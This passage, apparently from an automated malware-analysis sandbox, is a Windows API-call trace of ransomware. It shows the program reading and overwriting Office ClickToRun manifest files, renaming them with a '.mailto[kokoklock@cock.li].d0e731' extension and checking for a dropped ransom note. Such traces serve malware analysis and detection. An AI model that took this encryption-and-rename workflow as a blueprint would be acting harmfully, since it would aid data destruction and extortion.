lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x182bfbd0*=0x4096, lpOverlapped=0x0) returned 1 [0074.032] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0074.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0074.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0074.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee60 [0074.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee60) returned 1 [0074.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.033] WriteFile (in: hFile=0x948, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x182bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x182bfbd0*=0x4096, lpOverlapped=0x0) returned 1 [0074.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.033] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x17984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.033] WriteFile (in: hFile=0x948, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x182bfc08, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x182bfc08*=0x20, lpOverlapped=0x0) returned 1 [0074.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0074.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.034] WriteFile (in: hFile=0x948, lpBuffer=0x341ebe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x341ebe0*, lpNumberOfBytesWritten=0x182bfc1c*=0x8, lpOverlapped=0x0) returned 1 [0074.034] WriteFile (in: hFile=0x948, lpBuffer=0x182bfc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x182bfc34*, lpNumberOfBytesWritten=0x182bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0074.034] WriteFile (in: hFile=0x948, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x182bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0074.034] WriteFile (in: hFile=0x948, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x182bfc1c*=0x6c, lpOverlapped=0x0) returned 1 [0074.034] WriteFile (in: hFile=0x948, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x182bfc1c*=0x20, lpOverlapped=0x0) returned 1 [0074.034] WriteFile (in: hFile=0x948, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x182bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x182bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0074.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0074.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0074.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebe0) returned 1 [0074.034] CloseHandle (hObject=0x948) returned 1 [0074.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x130) returned 0x341a428 [0074.034] wcscpy (in: _Dest=0x341a428, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" [0074.034] wcscat (in: _Dest=0x341a428, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.034] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.035] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a428) returned 1 [0074.035] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.035] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.035] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.035] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5410) returned 1 [0074.036] RtlExitUserThread (Status=0x1) Thread: id = 619 os_tid = 0x7a4 [0074.043] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 0x20 [0074.043] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.044] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x948 [0074.044] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x1833fa28 | out: lpFileSize=0x1833fa28*=720348) returned 1 [0074.044] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0xafdd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.044] ReadFile (in: hFile=0x948, lpBuffer=0x1833f9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x1833f9fc*, lpNumberOfBytesRead=0x1833f9f8*=0x4, lpOverlapped=0x0) returned 1 [0074.046] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0074.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0074.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee60 [0074.046] NtQuerySystemTime (in: CurrentTime=0x1833f9d4 | out: CurrentTime=0x1833f9d4*=132121176319408781) returned 0x0 [0074.046] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x7158cc46 [0074.046] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xf9f87092 [0074.046] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xff4721f [0074.046] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xfc1b5e34 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x2d9ae319 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xb21b869a [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x4fbbf0e4 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xdca65e27 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xfae971cd [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x2cc017a2 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xad0409bc [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x49d26d9f [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x97c9175a [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x35625989 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xdc0fac23 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xc993a70c [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xe043605d [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x10701a06 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x50a4da50 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x90a9976f [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xa1a9e600 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x268eaf43 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x776f82e1 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xbe796a33 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xa810690b [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xaf11788a [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x86882426 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xbf28bf20 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x29f2d9e4 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x9f8ed462 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0x62584c64 [0074.047] RtlRandom (in: Seed=0x1833f9e0 | out: Seed=0x1833f9e0) returned 0xeae23f0c [0074.059] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.059] ReadFile (in: hFile=0x948, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1833f994, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1833f994*=0x4096, lpOverlapped=0x0) returned 1 [0074.061] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0074.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0074.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0074.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eeb0 [0074.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eeb0) returned 1 [0074.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.062] WriteFile (in: hFile=0x948, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1833f994, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1833f994*=0x4096, lpOverlapped=0x0) returned 1 [0074.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.062] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x58ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.062] ReadFile (in: hFile=0x948, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1833f994, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1833f994*=0x4096, lpOverlapped=0x0) returned 1 [0074.077] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x58ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0074.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eeb0 [0074.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eeb0) returned 1 [0074.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0074.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eeb0 [0074.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0074.078] WriteFile (in: hFile=0x948, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1833f994, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x1833f994*=0x4096, lpOverlapped=0x0) returned 1 [0074.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0074.078] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0xabd46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.078] ReadFile (in: hFile=0x948, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1833f994, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1833f994*=0x4096, lpOverlapped=0x0) returned 1 [0074.081] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0xabd46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdbc8 [0074.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e370 [0074.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e370) returned 1 [0074.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0074.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1b8 [0074.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdbc8) returned 1 [0074.082] WriteFile (in: hFile=0x948, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1833f994, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x1833f994*=0x4096, lpOverlapped=0x0) returned 1 [0074.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1833f9f0, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x1833f9f0*=0x20, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x341eeb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1833f9f0, lpOverlapped=0x0 | out: lpBuffer=0x341eeb0*, lpNumberOfBytesWritten=0x1833f9f0*=0x20, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x341e1b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1833f9f0, lpOverlapped=0x0 | out: lpBuffer=0x341e1b8*, lpNumberOfBytesWritten=0x1833f9f0*=0x20, lpOverlapped=0x0) returned 1 [0074.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x341ebe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x341ebe0*, lpNumberOfBytesWritten=0x1833f9f8*=0x8, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x1833fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x1833fa10*, lpNumberOfBytesWritten=0x1833f9f8*=0x4, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1833f9f8*=0x4, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1833f9f8*=0x6c, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x1833f9f8*=0x20, lpOverlapped=0x0) returned 1 [0074.083] WriteFile (in: hFile=0x948, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1833f9f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1833f9f8*=0x4, lpOverlapped=0x0) returned 1 [0074.084] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0074.084] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0074.084] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebe0) returned 1 [0074.084] CloseHandle (hObject=0x948) returned 1 [0074.084] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x33e2008 [0074.084] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" [0074.084] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.084] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.085] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.085] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3435458 [0074.085] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.085] wcscat (in: _Dest=0x3435458, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.085] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0074.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c6a8) returned 1 [0074.085] RtlExitUserThread (Status=0x1) Thread: id = 620 os_tid = 0xd5c [0074.046] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all 